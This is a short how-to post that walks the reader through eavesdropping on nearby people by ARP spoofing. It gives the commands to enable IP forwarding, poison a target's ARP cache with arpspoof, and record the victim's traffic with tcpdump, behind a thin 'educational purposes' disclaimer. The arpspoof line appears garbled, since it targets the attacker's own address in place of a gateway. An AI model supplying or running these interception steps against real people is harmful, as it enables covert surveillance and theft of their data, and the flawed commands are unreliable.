Eavesdropping is useful to find information about your surrounding peoples. This post is intended only for educational purposes.

To try, do the following commands :
echo 1 > /proc/sys/net/ipv4/ip_forward

Find your ip by typing :
ifconfig

Then run the first step using the command :
arpspoof -t your.ip.address target.ip.address

To listen on the packets gained, use this command :
tcpdump -vv src 172.20.10.12 -w foldername/fileoutputname.pcap

The output will be on the file you specified.